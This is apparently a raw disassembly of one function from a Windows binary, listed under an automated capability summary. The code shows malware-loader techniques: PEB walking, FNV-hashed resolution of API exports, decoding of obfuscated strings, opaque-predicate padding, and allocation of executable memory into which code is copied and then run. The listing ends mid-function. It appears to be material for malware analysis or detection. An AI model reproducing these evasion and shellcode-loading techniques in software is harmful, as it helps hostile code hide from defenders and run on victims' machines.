Function at 0x14008cf3c
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x190
mov rax, qword [0x1401a9600]
xor rax, rsp
mov qword [rbp + 0x80], rax
xor r14d, r14d
mov r11d, r14d
mov dword [rbp + 0x28], r14d
call fcn.1400a4574
movsx ebx, al
call fcn.1400a4578
movsx ecx, al
imul ebx, ecx
mov dword [rbp + 0x1c], ebx
call fcn.1400a4584
movsx r15d, al
mov dword [rbp - 0x78], r15d
lea eax, [rbx + rbx*4]
lea ecx, [r15 + rax*2]
mov dword [rsp + 0x28], ecx
lea eax, [rbx + rbx*2]
lea r10d, [r15 + rax*2]
mov dword [rsp + 0x50], r10d
lea r9d, [rbx + rbx]
mov dword [rbp + 0x2c], r9d
mov r12d, r9d
or r13, 0xffffffffffffffff
mov edi, 0x1000
lea esi, [r14 + 3]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d089
call fcn.1400a457c
movsx edx, al
movsx eax, byte [0x14022ead4]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.1400a4588
movsx ecx, al
sub r8d, ecx
call fcn.1400a4580
movsx ecx, al
add r8d, ecx
mov r9d, r12d
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008d089
mov eax, 0xa
mov dword [rbp], eax
jmp 0x14008d0e1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d0de
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x14008d084
mov eax, dword [rbp]
cmp r11d, eax
jge 0x14008e729
mov dword [rbp + 0x24], r14d
mov dword [rsp + 0x30], 0x8f8a82b0
mov dword [rsp + 0x34], 0xbc809e8d
mov dword [rsp + 0x38], 0x96818d82
mov byte [rsp + 0x3c], WSAStartup
xor eax, eax
mov qword [rsp + 0x3d], rax
mov word [rsp + 0x45], ax
mov byte [rsp + 0x47], al
mov qword [rsp + 0x20], r14
jmp 0x14008d169
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x3e2429b75bd47e2f
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x49
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x18
jb 0x14008d122
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x30]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14008d18b
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.1400380e0
nop
mov dword [rsp + 0x60], 0xb9b4a0bb
mov dword [rsp + 0x64], 0x6969bda5
mov dword [rsp + 0x68], 0xa7a6b966
mov byte [rsp + 0x6c], 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6d], xmm0
mov byte [rsp + 0x7d], al
mov qword [rsp + 0x20], r14
jmp 0x14008d216
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
add rcx, 0x1308a
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x3a
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1e
jb 0x14008d1d5
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], r14
lea rax, [rsp + 0x60]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14008d238
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x30]
call fcn.1400380e0
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x30]
call fcn.140075e8c
mov edx, 0x2000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call rax
mov rbx, rax
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x48]
mov r12d, reloc.WS2_32.dll_ntohs
cmp rdx, r12
jbe 0x14008d2b3
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, rdi
jb 0x14008d2ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008e6ff
call fcn.140123c04
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], r12
mov byte [rbp + 0x30], r14b
mov rdx, qword [rbp - 0x58]
cmp rdx, r12
jbe 0x14008d2f5
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x14008d2f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008e706
call fcn.140123c04
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r12
mov byte [rbp - 0x70], r14b
lea rax, [rbx + 0xffa]
mov qword [rbp + 0x50], rax
add rbx, 0x1000
mov dword [rsp + 0x30], 0x908f948d
mov word [rsp + 0x34], 0xbc84
mov byte [rsp + gethostname], 0x36
xor eax, eax
mov qword [rsp + 0x37], rax
mov word [rsp + 0x3f], ax
mov qword [rsp + 0x20], r14
jmp 0x14008d381
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x1a40b879d2e8558
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x68
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x11
jb 0x14008d33a
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r14
lea rax, [rsp + 0x30]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14008d3a3
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.1400380e0
nop
mov dword [rsp + 0x60], 0xe1e1015
mov dword [rsp + 0x64], 0xb5a1d1c
mov word [rsp + 0x68], 0x102
mov byte [rsp + 0x6a], 0xac
xor eax, eax
mov qword [rsp + 0x6b], rax
mov dword [rsp + 0x73], eax
mov word [rsp + 0x77], ax
mov qword [rsp + 0x20], r14
jmp 0x14008d435
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0x7fe69d17ce942cc5
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x63
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x19
jb 0x14008d3ee
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
lea rax, [rsp + 0x60]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14008d457
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.1400380e0
nop
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x40]
call fcn.14007f204
mov r8d, 6
lea rdx, [0x1401a9008]
mov rcx, qword [rbp + 0x50]
call rax
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, r12
jbe 0x14008d4c6
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x14008d4c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008e70d
call fcn.140123c04
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x40], r14b
mov rdx, qword [rbp - 8]
cmp rdx, r12
jbe 0x14008d508
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, rdi
jb 0x14008d503
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14008e714
call fcn.140123c04
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], r12
mov byte [rbp - 0x20], r14b
mov qword [rbp + 0x58], rbx
mov r9, qword [0x140231250]
test r9, r9
jne 0x14008d6a0
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x14008d593
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14008d583
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008d574
cmp edx, r14d
jne 0x14008d673
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x14008d675
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14008d675
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x14008d5e6
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14008d5db
cmp ebx, r15d
je 0x14008d5fd
xor edx, edx
test r9d, r9d
jne 0x14008d5c7
jmp 0x14008d675
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x14008d71a
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x14008d71a
mov r14d, 0x811c9dc5
mov r15d, r14d
jmp 0x14008d648
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14008d638
inc r9
xor edx, edx
jmp 0x14008d666
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14008d656
mov r11, qword [r12]
jmp 0x14008d675
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x14008d68a
cmp qword [rax + 0x30], rdx
jne 0x14008d547
xor r14d, r14d
mov r9d, r14d
mov qword [0x140231250], r9
mov esi, 3
mov r15d, dword [rbp - 0x78]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x58]
mov rcx, r13
call r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rdi, [rbp + 0xb8]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
mov rbx, qword [rdi]
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], r14
mov ecx, r14d
mov rax, qword [0x14022eb40]
lea r12, [0x140000000]
test rax, rax
je 0x14008d733
mov r8, r14
lea rdx, [0x140047270]
cmp rax, rdx
je 0x14008d722
inc ecx
mov r8d, ecx
mov rax, qword [r12 + rcx*8 + 0x22eb40]
test rax, rax
jne 0x14008d701
jmp 0x14008d733
xor r14d, r14d
jmp 0x14008d690
mov r8, qword [r12 + r8*8 + 0x22ee60]
test r8, r8
jne 0x14008d81b
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008d75a
mov r8, r14
jmp 0x14008d7f3
lea rax, [0x140047270]
mov rcx, r8
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x14008d76d
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14022eb30]
lea rcx, [0x140047270]
mov qword [r12 + rax*8 + 0x22eb40], rcx
mov qword [r12 + rax*8 + 0x22ee60], r8
inc rax
mov qword [0x14022eb30], rax
lea rdx, [rbp + 0x50]
lea rcx, [0x140096e34]
call r8
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], rbx
mov r9, qword [0x140231250]
test r9, r9
jne 0x14008d9c4
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x14008d8ba
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14008d8aa
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008d89b
cmp edx, r14d
jne 0x14008d99c
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x14008d99e
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14008d99e
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x14008d90d
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14008d902
cmp ebx, r15d
je 0x14008d924
xor edx, edx
test r9d, r9d
jne 0x14008d8ee
jmp 0x14008d99e
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x14008dacb
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14008dacb
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x14008d971
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14008d961
inc r9
xor edx, edx
jmp 0x14008d98f
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14008d97f
mov r11, qword [r12]
jmp 0x14008d99e
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x14008d9b3
cmp qword [rax + 0x30], rdx
jne 0x14008d86e
xor r14d, r14d
mov r9d, r14d
mov qword [0x140231250], r9
mov r15d, dword [rbp - 0x78]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x58]
mov rcx, r13
call r9
mov eax, dword [rbp + 0x2c]
mov r12d, eax
lea edi, [rax + r15]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e157
mov r11d, r14d
mov r14d, dword [rbp + 0x1c]
lea esi, [r15 + r14*2]
add esi, r14d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
mov r9d, dword [rsp + 0x50]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dad3
call fcn.1400a457c
movsx edx, al
movsx eax, byte [0x14022ead4]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.1400a4588
movsx ecx, al
sub r8d, ecx
call fcn.1400a4580
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008dad3
mov eax, 0xa
mov dword [rbp + 4], eax
jmp 0x14008db27
xor r14d, r14d
jmp 0x14008d9b9
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008db24
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x14008dac6
mov eax, dword [rbp + 4]
cmp r11d, eax
jge 0x14008ddfb
xor eax, eax
mov r9d, eax
lea ebx, [r15 + r14*8]
mov r10, qword [rbp + 0x50]
lea rax, [0x1401a9008]
sub r10, rax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ddb3
lea rax, [r10 + r9]
lea rcx, [0x1401a9008]
mov r8b, byte [rax + rcx]
mov dl, byte [r9 + rcx]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xor eax, eax
cmp r8b, dl
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x50]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dc1f
call fcn.1400a457c
movsx edx, al
movsx eax, byte [0x14022ead4]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.1400a4588
movsx ecx, al
sub r8d, ecx
call fcn.1400a4580
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008dc1f
mov dword [rbp + 8], 0xa
jmp 0x14008dc72
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dc72
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x50]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp + 8], eax
lea ecx, [r14 + r15]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r14*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp + 8]
test eax, eax
je 0x14008ddb3
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x28]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x50]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dd53
call fcn.1400a457c
movsx edx, al
movsx eax, byte [0x14022ead4]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.1400a4588
movsx ecx, al
sub r8d, ecx
call fcn.1400a4580
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x14008ddc8
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, edi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ddaa
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x50]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r8d, xmm0
mov dword [rbp + 0xc], r8d
jmp 0x14008ddae
mov r8d, dword [rbp + 0xc]
test r8d, r8d
jg 0x14008ddcf
inc r9
cmp r9, 6
jb 0x14008db47
inc r11d
jmp 0x14008da0f
mov dword [rbp + 0xc], 0xa
mov edx, 1
lea rax, [0x1401a9008]
mov cl, byte [r9 + rax]
mov rax, qword [rbp + 0x50]
cmp byte [r9 + rax], cl
cmovl edx, r13d
mov dword [rbp + 0x14], edx
mov r9d, dword [rsp + 0x50]
xor r10d, r10d
jmp 0x14008df24
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008deb5
call fcn.1400a457c
movsx edx, al
movsx eax, byte [0x14022ead4]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.1400a4588
movsx ecx, al
sub r8d, ecx
call fcn.1400a4580
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008deb5
mov dword [rbp + 0x10], 0xa
xor r10d, r10d
jmp 0x14008df19
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
lea eax, [rax + r14*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008df0e
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp + 0x10], eax
jmp 0x14008df11
mov eax, dword [rbp + 0x10]
xor r10d, r10d
cmp r10d, eax
jge 0x14008df21
mov edx, r10d
mov dword [rbp + 0x14], edx
jmp 0x14008df24
mov edx, dword [rbp + 0x14]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r10
test edx, edx
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dfc5
call fcn.1400a457c
movsx edx, al
movsx eax, byte [0x14022ead4]
imul edx, eax
lea r8d, [rdx + rdx*4]
call fcn.1400a4588
movsx ecx, al
sub r8d, ecx
call fcn.1400a4580
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008dfc5
mov dword [rbp + 0x18], 0xa
jmp 0x14008e01c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
lea eax, [rax + r14*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e01c
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
